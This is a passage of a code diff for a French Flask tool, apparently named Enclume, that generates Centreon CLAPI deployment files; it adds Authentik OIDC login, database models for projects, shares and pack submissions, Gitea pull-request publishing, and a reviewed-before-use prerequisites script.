utilisateur.administrateur = _est_admin(revendications)
|
||||||
|
utilisateur.vu_le = maintenant()
|
||||||
|
db.session.commit()
|
||||||
|
|
||||||
|
session.clear()
|
||||||
|
session["utilisateur_id"] = utilisateur.id
|
||||||
|
session.permanent = True
|
||||||
|
return redirect(_destination_sure(session.pop("retour", "/")))
|
||||||
|
|
||||||
|
|
||||||
|
def _est_admin(revendications: dict) -> bool:
|
||||||
|
"""Deux voies : appartenance a un groupe, ou liste explicite de comptes.
|
||||||
|
|
||||||
|
La seconde existe pour le premier demarrage, avant que le mapping de portee
|
||||||
|
"groups" ne soit configure cote Authentik.
|
||||||
|
"""
|
||||||
|
groupes = revendications.get("groups") or []
|
||||||
|
if isinstance(groupes, str):
|
||||||
|
groupes = [groupes]
|
||||||
|
if Config.ADMIN_GROUPE and Config.ADMIN_GROUPE in groupes:
|
||||||
|
return True
|
||||||
|
email = str(revendications.get("email") or "").lower()
|
||||||
|
return bool(email and email in Config.ADMIN_COMPTES)
|
||||||
|
|
||||||
|
|
||||||
|
@bp.post("/deconnexion")
|
||||||
|
def deconnexion():
|
||||||
|
session.clear()
|
||||||
|
return jsonify({"statut": "deconnecte"})
|
||||||
@@ -98,6 +98,7 @@ class Pack:
|
|||||||
status: str
|
status: str
|
||||||
host_template: HostTemplate
|
host_template: HostTemplate
|
||||||
services: list[Service]
|
services: list[Service]
|
||||||
|
prerequis: dict[str, Any] = field(default_factory=dict)
|
||||||
source_file: str = ""
|
source_file: str = ""
|
||||||
|
|
||||||
@property
|
@property
|
||||||
@@ -130,6 +131,7 @@ class Pack:
|
|||||||
status=str(raw.get("status", "to-verify")),
|
status=str(raw.get("status", "to-verify")),
|
||||||
host_template=HostTemplate.from_dict(raw["host_template"]),
|
host_template=HostTemplate.from_dict(raw["host_template"]),
|
||||||
services=[Service.from_dict(s) for s in raw.get("services") or []],
|
services=[Service.from_dict(s) for s in raw.get("services") or []],
|
||||||
|
prerequis=raw.get("prerequis") or {},
|
||||||
source_file=source_file,
|
source_file=source_file,
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,105 @@
|
|||||||
|
"""Configuration lue depuis l'environnement.
|
||||||
|
|
||||||
|
Toutes les fonctionnalites ajoutees aux chantiers 3 a 5 sont facultatives :
|
||||||
|
sans base de donnees, sans OIDC et sans jeton Gitea, l'application reste
|
||||||
|
exactement ce qu'elle etait — un editeur qui genere du CLAPI. C'est ce qui
|
||||||
|
permet a n'importe qui de l'auto-heberger en trois lignes.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import os
|
||||||
|
import secrets
|
||||||
|
|
||||||
|
|
||||||
|
def _bool(nom: str, defaut: bool = False) -> bool:
|
||||||
|
brut = os.environ.get(nom)
|
||||||
|
if brut is None:
|
||||||
|
return defaut
|
||||||
|
return brut.strip().lower() in {"1", "true", "oui", "yes", "on"}
|
||||||
|
|
||||||
|
|
||||||
|
def _int(nom: str, defaut: int) -> int:
|
||||||
|
try:
|
||||||
|
return int(os.environ.get(nom, defaut))
|
||||||
|
except (TypeError, ValueError):
|
||||||
|
return defaut
|
||||||
|
|
||||||
|
|
||||||
|
class Config:
|
||||||
|
# --- Identite du service ------------------------------------------------
|
||||||
|
VERSION = os.environ.get("ENCLUME_VERSION", "dev")
|
||||||
|
COMMIT = os.environ.get("ENCLUME_COMMIT", "inconnu")
|
||||||
|
URL_PUBLIQUE = os.environ.get("ENCLUME_URL_PUBLIQUE", "").rstrip("/")
|
||||||
|
|
||||||
|
# --- Sessions -----------------------------------------------------------
|
||||||
|
# Sans cle fournie, on en tire une au demarrage : les sessions ne survivent
|
||||||
|
# pas a un redemarrage, ce qui est acceptable en developpement et bruyant
|
||||||
|
# en production, donc visible.
|
||||||
|
SECRET_KEY = os.environ.get("ENCLUME_SECRET_KEY") or secrets.token_hex(32)
|
||||||
|
SECRET_KEY_FOURNIE = bool(os.environ.get("ENCLUME_SECRET_KEY"))
|
||||||
|
SESSION_COOKIE_NAME = "enclume"
|
||||||
|
SESSION_COOKIE_HTTPONLY = True
|
||||||
|
SESSION_COOKIE_SAMESITE = "Lax"
|
||||||
|
SESSION_COOKIE_SECURE = _bool("ENCLUME_COOKIE_SECURE", True)
|
||||||
|
PERMANENT_SESSION_LIFETIME = _int("ENCLUME_SESSION_JOURS", 30) * 86400
|
||||||
|
|
||||||
|
# --- Base de donnees ----------------------------------------------------
|
||||||
|
SQLALCHEMY_DATABASE_URI = os.environ.get("ENCLUME_DATABASE_URL", "")
|
||||||
|
SQLALCHEMY_ENGINE_OPTIONS = {"pool_pre_ping": True, "pool_recycle": 1800}
|
||||||
|
|
||||||
|
# --- Partage ------------------------------------------------------------
|
||||||
|
PARTAGE_JOURS = _int("ENCLUME_PARTAGE_JOURS", 90)
|
||||||
|
PROJETS_PAR_COMPTE = _int("ENCLUME_PROJETS_PAR_COMPTE", 50)
|
||||||
|
|
||||||
|
# --- Authentification OIDC (Authentik) ----------------------------------
|
||||||
|
OIDC_NOM = os.environ.get("ENCLUME_OIDC_NOM", "Authentik")
|
||||||
|
OIDC_METADATA = os.environ.get("ENCLUME_OIDC_METADATA", "")
|
||||||
|
OIDC_CLIENT_ID = os.environ.get("ENCLUME_OIDC_CLIENT_ID", "")
|
||||||
|
OIDC_CLIENT_SECRET = os.environ.get("ENCLUME_OIDC_CLIENT_SECRET", "")
|
||||||
|
OIDC_SCOPES = os.environ.get("ENCLUME_OIDC_SCOPES", "openid email profile")
|
||||||
|
# Le groupe qui donne acces a la moderation. Necessite que le fournisseur
|
||||||
|
# place la revendication "groups" dans le jeton (mapping de portee dedie
|
||||||
|
# cote Authentik).
|
||||||
|
ADMIN_GROUPE = os.environ.get("ENCLUME_ADMIN_GROUPE", "enclume-admins")
|
||||||
|
ADMIN_COMPTES = [
|
||||||
|
c.strip().lower()
|
||||||
|
for c in os.environ.get("ENCLUME_ADMIN_COMPTES", "").split(",")
|
||||||
|
if c.strip()
|
||||||
|
]
|
||||||
|
|
||||||
|
# --- Depot du catalogue, pour les soumissions ---------------------------
|
||||||
|
GITEA_URL = os.environ.get("ENCLUME_GITEA_URL", "").rstrip("/")
|
||||||
|
GITEA_TOKEN = os.environ.get("ENCLUME_GITEA_TOKEN", "")
|
||||||
|
GITEA_PROPRIETAIRE = os.environ.get("ENCLUME_GITEA_PROPRIETAIRE", "")
|
||||||
|
GITEA_DEPOT = os.environ.get("ENCLUME_GITEA_DEPOT", "")
|
||||||
|
GITEA_BRANCHE = os.environ.get("ENCLUME_GITEA_BRANCHE", "main")
|
||||||
|
GITEA_SOUS_DOSSIER = os.environ.get("ENCLUME_GITEA_SOUS_DOSSIER", "catalog")
|
||||||
|
|
||||||
|
# --- Limites ------------------------------------------------------------
|
||||||
|
TAILLE_MAX_PROJET = _int("ENCLUME_TAILLE_MAX_PROJET", 2 * 1024 * 1024)
|
||||||
|
TAILLE_MAX_PACK = _int("ENCLUME_TAILLE_MAX_PACK", 256 * 1024)
|
||||||
|
SOUMISSIONS_PAR_JOUR = _int("ENCLUME_SOUMISSIONS_PAR_JOUR", 10)
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def base_active(cls) -> bool:
|
||||||
|
return bool(cls.SQLALCHEMY_DATABASE_URI)
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def oidc_actif(cls) -> bool:
|
||||||
|
return bool(cls.OIDC_METADATA and cls.OIDC_CLIENT_ID and cls.OIDC_CLIENT_SECRET)
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def gitea_actif(cls) -> bool:
|
||||||
|
return bool(cls.GITEA_URL and cls.GITEA_TOKEN and cls.GITEA_PROPRIETAIRE and cls.GITEA_DEPOT)
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def etat(cls) -> dict[str, bool]:
|
||||||
|
"""Ce que le site sait faire, tel qu'annonce a l'interface."""
|
||||||
|
return {
|
||||||
|
"comptes": cls.base_active() and cls.oidc_actif(),
|
||||||
|
"partage": cls.base_active(),
|
||||||
|
"projets_enregistres": cls.base_active() and cls.oidc_actif(),
|
||||||
|
"soumissions": cls.base_active() and cls.oidc_actif(),
|
||||||
|
"publication_gitea": cls.gitea_actif(),
|
||||||
|
}
|
||||||
+174
@@ -0,0 +1,174 @@
|
|||||||
|
"""Persistance : comptes, projets enregistres, partages, soumissions de packs.
|
||||||
|
|
||||||
|
Toutes les tables sont facultatives : sans ENCLUME_DATABASE_URL, rien de tout
|
||||||
|
cela n'est instancie et l'application fonctionne en mode sans etat.
|
||||||
|
|
||||||
|
Regle de migration : on ajoute, on ne retire jamais dans la meme version que le
|
||||||
|
code qui cesse d'utiliser une colonne. La suppression arrive une version plus
|
||||||
|
tard, quand le retour arriere n'est plus envisage.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import secrets
|
||||||
|
from datetime import datetime, timedelta, timezone
|
||||||
|
|
||||||
|
from flask_sqlalchemy import SQLAlchemy
|
||||||
|
from sqlalchemy import (
|
||||||
|
Boolean,
|
||||||
|
DateTime,
|
||||||
|
ForeignKey,
|
||||||
|
Index,
|
||||||
|
Integer,
|
||||||
|
String,
|
||||||
|
Text,
|
||||||
|
func,
|
||||||
|
)
|
||||||
|
from sqlalchemy.orm import DeclarativeBase, Mapped, mapped_column, relationship
|
||||||
|
|
||||||
|
|
||||||
|
class Base(DeclarativeBase):
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
db = SQLAlchemy(model_class=Base)
|
||||||
|
|
||||||
|
|
||||||
|
def maintenant() -> datetime:
|
||||||
|
return datetime.now(timezone.utc)
|
||||||
|
|
||||||
|
|
||||||
|
def _identifiant_court() -> str:
|
||||||
|
"""12 caracteres d'alphabet URL, soit 72 bits : non enumerable."""
|
||||||
|
return secrets.token_urlsafe(9)
|
||||||
|
|
||||||
|
|
||||||
|
class Utilisateur(db.Model):
|
||||||
|
__tablename__ = "utilisateurs"
|
||||||
|
|
||||||
|
id: Mapped[int] = mapped_column(Integer, primary_key=True)
|
||||||
|
# Identifiant stable du fournisseur OIDC (revendication "sub").
|
||||||
|
sujet: Mapped[str] = mapped_column(String(255), unique=True, nullable=False)
|
||||||
|
email: Mapped[str] = mapped_column(String(320), default="")
|
||||||
|
nom: Mapped[str] = mapped_column(String(255), default="")
|
||||||
|
administrateur: Mapped[bool] = mapped_column(Boolean, default=False)
|
||||||
|
cree_le: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=maintenant)
|
||||||
|
vu_le: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=maintenant)
|
||||||
|
|
||||||
|
projets: Mapped[list["Projet"]] = relationship(back_populates="proprietaire", cascade="all, delete-orphan")
|
||||||
|
|
||||||
|
@property
|
||||||
|
def affichage(self) -> str:
|
||||||
|
return self.nom or self.email or f"compte {self.id}"
|
||||||
|
|
||||||
|
|
||||||
|
class Projet(db.Model):
|
||||||
|
__tablename__ = "projets"
|
||||||
|
|
||||||
|
id: Mapped[int] = mapped_column(Integer, primary_key=True)
|
||||||
|
utilisateur_id: Mapped[int] = mapped_column(ForeignKey("utilisateurs.id"), nullable=False)
|
||||||
|
nom: Mapped[str] = mapped_column(String(255), default="Projet sans nom")
|
||||||
|
contenu: Mapped[str] = mapped_column(Text, nullable=False)
|
||||||
|
cree_le: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=maintenant)
|
||||||
|
maj_le: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=maintenant, onupdate=maintenant)
|
||||||
|
|
||||||
|
proprietaire: Mapped[Utilisateur] = relationship(back_populates="projets")
|
||||||
|
|
||||||
|
__table_args__ = (Index("ix_projets_utilisateur", "utilisateur_id"),)
|
||||||
|
|
||||||
|
def resume(self) -> dict:
|
||||||
|
return {
|
||||||
|
"id": self.id,
|
||||||
|
"nom": self.nom,
|
||||||
|
"maj_le": self.maj_le.isoformat() if self.maj_le else None,
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
class Partage(db.Model):
|
||||||
|
__tablename__ = "partages"
|
||||||
|
|
||||||
|
id: Mapped[str] = mapped_column(String(32), primary_key=True, default=_identifiant_court)
|
||||||
|
contenu: Mapped[str] = mapped_column(Text, nullable=False)
|
||||||
|
nom: Mapped[str] = mapped_column(String(255), default="")
|
||||||
|
utilisateur_id: Mapped[int | None] = mapped_column(ForeignKey("utilisateurs.id"), nullable=True)
|
||||||
|
cree_le: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=maintenant)
|
||||||
|
expire_le: Mapped[datetime] = mapped_column(DateTime(timezone=True), nullable=False)
|
||||||
|
vues: Mapped[int] = mapped_column(Integer, default=0)
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def creer(cls, contenu: str, nom: str, jours: int, utilisateur_id: int | None = None) -> "Partage":
|
||||||
|
return cls(
|
||||||
|
contenu=contenu,
|
||||||
|
nom=nom[:255],
|
||||||
|
utilisateur_id=utilisateur_id,
|
||||||
|
expire_le=maintenant() + timedelta(days=jours),
|
||||||
|
)
|
||||||
|
|
||||||
|
@property
|
||||||
|
def expire(self) -> bool:
|
||||||
|
limite = self.expire_le
|
||||||
|
if limite.tzinfo is None: # SQLite rend des datetimes naifs
|
||||||
|
limite = limite.replace(tzinfo=timezone.utc)
|
||||||
|
return limite < maintenant()
|
||||||
|
|
||||||
|
|
||||||
|
class Soumission(db.Model):
|
||||||
|
__tablename__ = "soumissions"
|
||||||
|
|
||||||
|
EN_ATTENTE = "en_attente"
|
||||||
|
PUBLIEE = "publiee"
|
||||||
|
REFUSEE = "refusee"
|
||||||
|
|
||||||
|
id: Mapped[int] = mapped_column(Integer, primary_key=True)
|
||||||
|
utilisateur_id: Mapped[int] = mapped_column(ForeignKey("utilisateurs.id"), nullable=False)
|
||||||
|
pack_id: Mapped[str] = mapped_column(String(64), nullable=False)
|
||||||
|
categorie: Mapped[str] = mapped_column(String(32), nullable=False)
|
||||||
|
nom: Mapped[str] = mapped_column(String(255), default="")
|
||||||
|
contenu: Mapped[str] = mapped_column(Text, nullable=False) # le YAML soumis
|
||||||
|
message: Mapped[str] = mapped_column(Text, default="") # mot de l'auteur
|
||||||
|
statut: Mapped[str] = mapped_column(String(16), default=EN_ATTENTE)
|
||||||
|
reponse: Mapped[str] = mapped_column(Text, default="") # motif du refus
|
||||||
|
url_pr: Mapped[str] = mapped_column(String(512), default="")
|
||||||
|
cree_le: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=maintenant)
|
||||||
|
traite_le: Mapped[datetime | None] = mapped_column(DateTime(timezone=True), nullable=True)
|
||||||
|
|
||||||
|
auteur: Mapped[Utilisateur] = relationship()
|
||||||
|
|
||||||
|
__table_args__ = (Index("ix_soumissions_statut", "statut"),)
|
||||||
|
|
||||||
|
def resume(self, avec_auteur: bool = False) -> dict:
|
||||||
|
donnees = {
|
||||||
|
"id": self.id,
|
||||||
|
"pack_id": self.pack_id,
|
||||||
|
"categorie": self.categorie,
|
||||||
|
"nom": self.nom,
|
||||||
|
"statut": self.statut,
|
||||||
|
"message": self.message,
|
||||||
|
"reponse": self.reponse,
|
||||||
|
"url_pr": self.url_pr,
|
||||||
|
"cree_le": self.cree_le.isoformat() if self.cree_le else None,
|
||||||
|
}
|
||||||
|
if avec_auteur and self.auteur is not None:
|
||||||
|
donnees["auteur"] = self.auteur.affichage
|
||||||
|
return donnees
|
||||||
|
|
||||||
|
|
||||||
|
def compter_soumissions_du_jour(utilisateur_id: int) -> int:
|
||||||
|
depuis = maintenant() - timedelta(days=1)
|
||||||
|
return (
|
||||||
|
db.session.query(func.count(Soumission.id))
|
||||||
|
.filter(Soumission.utilisateur_id == utilisateur_id, Soumission.cree_le >= depuis)
|
||||||
|
.scalar()
|
||||||
|
or 0
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def purger_partages_expires() -> int:
|
||||||
|
"""Menage opportuniste : appele a la creation d'un partage."""
|
||||||
|
supprimes = (
|
||||||
|
db.session.query(Partage)
|
||||||
|
.filter(Partage.expire_le < maintenant())
|
||||||
|
.delete(synchronize_session=False)
|
||||||
|
)
|
||||||
|
db.session.commit()
|
||||||
|
return supprimes or 0
|
||||||
+49
-1
@@ -244,14 +244,62 @@ def render_shell(plan: Plan, ops: list[Op], title: str, apply_config: bool) -> s
|
|||||||
return "\n".join(lines)
|
return "\n".join(lines)
|
||||||
|
|
||||||
|
|
||||||
|
def render_prerequis(plan: Plan) -> str:
|
||||||
|
"""Fichier separe : ce qui s'installe sur le collecteur, jamais du CLAPI."""
|
||||||
|
|
||||||
|
prerequis = plan.project.prerequis
|
||||||
|
lignes = [
|
||||||
|
"#!/usr/bin/env bash",
|
||||||
|
"#",
|
||||||
|
f"# Prerequis des sondes - {plan.project.name}",
|
||||||
|
"# Genere par Enclume. A RELIRE AVANT EXECUTION.",
|
||||||
|
"#",
|
||||||
|
"# Ce fichier n'est pas du CLAPI : il s'execute sur le collecteur qui",
|
||||||
|
"# porte les plugins, pas sur le serveur central. Les commandes sont",
|
||||||
|
"# commentees par distribution ; decommentez celle qui vous concerne.",
|
||||||
|
"#",
|
||||||
|
"set -euo pipefail",
|
||||||
|
"",
|
||||||
|
]
|
||||||
|
|
||||||
|
if prerequis.paquets_debian:
|
||||||
|
lignes += [
|
||||||
|
"# Debian et Ubuntu",
|
||||||
|
"# apt-get update",
|
||||||
|
"# apt-get install -y " + " ".join(prerequis.paquets_debian),
|
||||||
|
"",
|
||||||
|
]
|
||||||
|
if prerequis.paquets_rhel:
|
||||||
|
lignes += [
|
||||||
|
"# RHEL, Alma, Rocky",
|
||||||
|
"# dnf install -y " + " ".join(prerequis.paquets_rhel),
|
||||||
|
"",
|
||||||
|
]
|
||||||
|
if prerequis.notes:
|
||||||
|
lignes += ["# Notes de l'auteur du pack :"]
|
||||||
|
lignes += [f"# {ligne}" for ligne in prerequis.notes.splitlines()]
|
||||||
|
lignes += [""]
|
||||||
|
if prerequis.verifications:
|
||||||
|
lignes += ["# Verifications, sans effet de bord :"]
|
||||||
|
for verification in prerequis.verifications:
|
||||||
|
lignes.append(verification)
|
||||||
|
lignes.append("")
|
||||||
|
|
||||||
|
lignes += ['echo "Prerequis passes en revue."', ""]
|
||||||
|
return "\n".join(lignes)
|
||||||
|
|
||||||
|
|
||||||
def render_bundle(plan: Plan) -> dict[str, str]:
|
def render_bundle(plan: Plan) -> dict[str, str]:
|
||||||
apply_config = bool(plan.project.apply_config)
|
apply_config = bool(plan.project.apply_config)
|
||||||
return {
|
fichiers = {
|
||||||
"deploy.clapi": render_import(plan, plan.ops, "Deploiement CLAPI"),
|
"deploy.clapi": render_import(plan, plan.ops, "Deploiement CLAPI"),
|
||||||
"deploy.sh": render_shell(plan, plan.ops, "Deploiement CLAPI", apply_config),
|
"deploy.sh": render_shell(plan, plan.ops, "Deploiement CLAPI", apply_config),
|
||||||
"rollback.clapi": render_import(plan, plan.rollback_ops, "Suppression des objets"),
|
"rollback.clapi": render_import(plan, plan.rollback_ops, "Suppression des objets"),
|
||||||
"rollback.sh": render_shell(plan, plan.rollback_ops, "Suppression des objets", apply_config),
|
"rollback.sh": render_shell(plan, plan.rollback_ops, "Suppression des objets", apply_config),
|
||||||
}
|
}
|
||||||
|
if not plan.project.prerequis.vide:
|
||||||
|
fichiers["prerequis.sh"] = render_prerequis(plan)
|
||||||
|
return fichiers
|
||||||
|
|
||||||
|
|
||||||
def generate(raw_project: dict[str, Any]) -> dict[str, Any]:
|
def generate(raw_project: dict[str, Any]) -> dict[str, Any]:
|
||||||
|
|||||||
@@ -0,0 +1,99 @@
|
|||||||
|
"""Publication d'un pack accepte, sous forme de pull request Gitea.
|
||||||
|
|
||||||
|
Choix volontaire : la moderation n'ecrit jamais directement sur la branche
|
||||||
|
principale. Elle ouvre une demande, que tu relis dans Gitea avant de fusionner.
|
||||||
|
Git reste la source de verite du catalogue, et une acceptation par erreur dans
|
||||||
|
l'interface reste rattrapable en un clic.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import base64
|
||||||
|
import json
|
||||||
|
import re
|
||||||
|
import urllib.error
|
||||||
|
import urllib.request
|
||||||
|
|
||||||
|
from .config import Config
|
||||||
|
|
||||||
|
TIMEOUT = 15
|
||||||
|
|
||||||
|
|
||||||
|
class ErreurGitea(RuntimeError):
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def _appel(methode: str, chemin: str, corps: dict | None = None) -> dict:
|
||||||
|
url = f"{Config.GITEA_URL}/api/v1{chemin}"
|
||||||
|
donnees = json.dumps(corps).encode("utf-8") if corps is not None else None
|
||||||
|
requete = urllib.request.Request(url, data=donnees, method=methode)
|
||||||
|
requete.add_header("Authorization", f"token {Config.GITEA_TOKEN}")
|
||||||
|
requete.add_header("Content-Type", "application/json")
|
||||||
|
requete.add_header("Accept", "application/json")
|
||||||
|
try:
|
||||||
|
with urllib.request.urlopen(requete, timeout=TIMEOUT) as reponse:
|
||||||
|
charge = reponse.read().decode("utf-8")
|
||||||
|
return json.loads(charge) if charge else {}
|
||||||
|
except urllib.error.HTTPError as erreur:
|
||||||
|
detail = erreur.read().decode("utf-8", "replace")[:500]
|
||||||
|
raise ErreurGitea(f"{methode} {chemin} : HTTP {erreur.code} — {detail}") from erreur
|
||||||
|
except urllib.error.URLError as erreur:
|
||||||
|
raise ErreurGitea(f"{methode} {chemin} : {erreur.reason}") from erreur
|
||||||
|
|
||||||
|
|
||||||
|
def _nom_de_branche(pack_id: str, soumission_id: int) -> str:
|
||||||
|
base = re.sub(r"[^a-z0-9-]+", "-", pack_id.lower()).strip("-") or "pack"
|
||||||
|
return f"pack/{base}-{soumission_id}"
|
||||||
|
|
||||||
|
|
||||||
|
def ouvrir_demande(soumission, auteur: str) -> str:
|
||||||
|
"""Cree la branche, y depose le pack, ouvre la pull request. Rend son URL."""
|
||||||
|
|
||||||
|
if not Config.gitea_actif():
|
||||||
|
raise ErreurGitea("publication Gitea non configuree")
|
||||||
|
|
||||||
|
proprietaire = Config.GITEA_PROPRIETAIRE
|
||||||
|
depot = Config.GITEA_DEPOT
|
||||||
|
branche = _nom_de_branche(soumission.pack_id, soumission.id)
|
||||||
|
chemin = f"{Config.GITEA_SOUS_DOSSIER}/{soumission.categorie}/{soumission.pack_id}.yml"
|
||||||
|
|
||||||
|
# Un seul appel cree la branche et le fichier : new_branch part de branch.
|
||||||
|
_appel(
|
||||||
|
"POST",
|
||||||
|
f"/repos/{proprietaire}/{depot}/contents/{chemin}",
|
||||||
|
{
|
||||||
|
"content": base64.b64encode(soumission.contenu.encode("utf-8")).decode("ascii"),
|
||||||
|
"message": f"Ajout du pack {soumission.pack_id} ({soumission.categorie})",
|
||||||
|
"branch": Config.GITEA_BRANCHE,
|
||||||
|
"new_branch": branche,
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
|
corps = [
|
||||||
|
f"Pack **{soumission.nom or soumission.pack_id}** propose depuis Enclume.",
|
||||||
|
"",
|
||||||
|
f"- identifiant : `{soumission.pack_id}`",
|
||||||
|
f"- categorie : `{soumission.categorie}`",
|
||||||
|
f"- auteur : {auteur}",
|
||||||
|
f"- soumission : #{soumission.id}",
|
||||||
|
]
|
||||||
|
if soumission.message:
|
||||||
|
corps += ["", "Message de l'auteur :", "", f"> {soumission.message.strip()}"]
|
||||||
|
corps += [
|
||||||
|
"",
|
||||||
|
"---",
|
||||||
|
"Contribution externe : relire la ligne de commande, les macros et les "
|
||||||
|
"eventuels prerequis avant de fusionner.",
|
||||||
|
]
|
||||||
|
|
||||||
|
demande = _appel(
|
||||||
|
"POST",
|
||||||
|
f"/repos/{proprietaire}/{depot}/pulls",
|
||||||
|
{
|
||||||
|
"head": branche,
|
||||||
|
"base": Config.GITEA_BRANCHE,
|
||||||
|
"title": f"Pack {soumission.pack_id}",
|
||||||
|
"body": "\n".join(corps),
|
||||||
|
},
|
||||||
|
)
|
||||||
|
return str(demande.get("html_url") or "")
|
||||||
+85
-7
@@ -10,21 +10,43 @@ qu'on exporte, ce qu'on partage et ce que la CI rejoue.
|
|||||||
|
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import re
|
||||||
from dataclasses import asdict, dataclass, field
|
from dataclasses import asdict, dataclass, field
|
||||||
from typing import Any
|
from typing import Any
|
||||||
|
|
||||||
SCHEMA_VERSION = 1
|
SCHEMA_VERSION = 1
|
||||||
|
|
||||||
# Versions de Centreon proposees dans l'editeur et ce qu'elles impliquent.
|
# Versions de Centreon proposees dans l'editeur et ce qu'elles impliquent.
|
||||||
|
# Centreon nomme ses versions par annee et saison de livraison : XX.04 au
|
||||||
|
# printemps, XX.10 a l'automne. Les versions des annees paires sont supportees
|
||||||
|
# trois ans (LTS) depuis la 24.10, celles des annees impaires dix-huit mois.
|
||||||
CENTREON_VERSIONS: dict[str, dict[str, Any]] = {
|
CENTREON_VERSIONS: dict[str, dict[str, Any]] = {
|
||||||
"24.x": {"label": "Centreon 24.x", "macro_fields": 5},
|
"25.10": {"label": "Centreon 25.10", "macro_fields": 5},
|
||||||
"23.x": {"label": "Centreon 23.x", "macro_fields": 5},
|
"25.04": {"label": "Centreon 25.04", "macro_fields": 5},
|
||||||
"22.x": {"label": "Centreon 22.x", "macro_fields": 5},
|
"24.10": {"label": "Centreon 24.10 (LTS)", "macro_fields": 5},
|
||||||
"21.x": {"label": "Centreon 21.x", "macro_fields": 5},
|
"24.04": {"label": "Centreon 24.04", "macro_fields": 5},
|
||||||
|
"23.10": {"label": "Centreon 23.10", "macro_fields": 5},
|
||||||
|
"23.04": {"label": "Centreon 23.04", "macro_fields": 5},
|
||||||
|
"22.10": {"label": "Centreon 22.10", "macro_fields": 5},
|
||||||
|
"22.04": {"label": "Centreon 22.04", "macro_fields": 5},
|
||||||
|
"21.10": {"label": "Centreon 21.10", "macro_fields": 5},
|
||||||
|
"21.04": {"label": "Centreon 21.04", "macro_fields": 5},
|
||||||
|
"20.10": {"label": "Centreon 20.10", "macro_fields": 5},
|
||||||
"20.04": {"label": "Centreon 20.04", "macro_fields": 5},
|
"20.04": {"label": "Centreon 20.04", "macro_fields": 5},
|
||||||
"legacy": {"label": "Centreon anterieur a 20.04", "macro_fields": 3},
|
"legacy": {"label": "Centreon anterieur a 20.04", "macro_fields": 3},
|
||||||
}
|
}
|
||||||
|
|
||||||
|
VERSION_PAR_DEFAUT = "25.10"
|
||||||
|
|
||||||
|
# Les premieres versions d'Enclume proposaient des familles ("24.x") plutot que
|
||||||
|
# des versions reelles. Les projets enregistres a cette epoque restent lisibles.
|
||||||
|
VERSIONS_HISTORIQUES = {
|
||||||
|
"24.x": "24.10",
|
||||||
|
"23.x": "23.10",
|
||||||
|
"22.x": "22.10",
|
||||||
|
"21.x": "21.10",
|
||||||
|
}
|
||||||
|
|
||||||
COMMAND_TYPES = {"check": "Controle", "notif": "Notification", "misc": "Divers", "discovery": "Decouverte"}
|
COMMAND_TYPES = {"check": "Controle", "notif": "Notification", "misc": "Divers", "discovery": "Decouverte"}
|
||||||
|
|
||||||
FORBIDDEN = ";"
|
FORBIDDEN = ";"
|
||||||
@@ -157,10 +179,58 @@ class Host:
|
|||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class Prerequis:
|
||||||
|
"""Ce qu'il faut installer sur le collecteur pour que les sondes tournent.
|
||||||
|
|
||||||
|
Volontairement separe du CLAPI : ces commandes s'executent sur un serveur,
|
||||||
|
elles ne doivent jamais etre melangees au code de configuration ni jouees
|
||||||
|
sans relecture.
|
||||||
|
"""
|
||||||
|
|
||||||
|
paquets_debian: list[str] = field(default_factory=list)
|
||||||
|
paquets_rhel: list[str] = field(default_factory=list)
|
||||||
|
verifications: list[str] = field(default_factory=list)
|
||||||
|
notes: str = ""
|
||||||
|
|
||||||
|
@property
|
||||||
|
def vide(self) -> bool:
|
||||||
|
return not (self.paquets_debian or self.paquets_rhel or self.verifications or self.notes)
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def from_dict(cls, raw: dict[str, Any] | None) -> "Prerequis":
|
||||||
|
raw = raw or {}
|
||||||
|
paquets = raw.get("paquets") or {}
|
||||||
|
return cls(
|
||||||
|
paquets_debian=[_clean(p) for p in paquets.get("debian") or [] if _clean(p)],
|
||||||
|
paquets_rhel=[_clean(p) for p in paquets.get("rhel") or [] if _clean(p)],
|
||||||
|
verifications=[_clean(v) for v in raw.get("verifications") or [] if _clean(v)],
|
||||||
|
notes=str(raw.get("notes") or "").strip(),
|
||||||
|
)
|
||||||
|
|
||||||
|
def fusionner(self, autre: "Prerequis") -> None:
|
||||||
|
for source, cible in (
|
||||||
|
(autre.paquets_debian, self.paquets_debian),
|
||||||
|
(autre.paquets_rhel, self.paquets_rhel),
|
||||||
|
(autre.verifications, self.verifications),
|
||||||
|
):
|
||||||
|
for valeur in source:
|
||||||
|
if valeur not in cible:
|
||||||
|
cible.append(valeur)
|
||||||
|
if autre.notes and autre.notes not in self.notes:
|
||||||
|
self.notes = f"{self.notes}\n\n{autre.notes}".strip()
|
||||||
|
|
||||||
|
|
||||||
|
# Un nom de paquet reste un nom de paquet : ni espace, ni separateur de
|
||||||
|
# commande. Le fichier genere est relu par un humain, mais autant qu'aucune
|
||||||
|
# soumission ne puisse y glisser autre chose.
|
||||||
|
MOTIF_PAQUET = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._+-]{0,80}$")
|
||||||
|
|
||||||
|
|
||||||
@dataclass
|
@dataclass
|
||||||
class Project:
|
class Project:
|
||||||
name: str = "Nouveau projet"
|
name: str = "Nouveau projet"
|
||||||
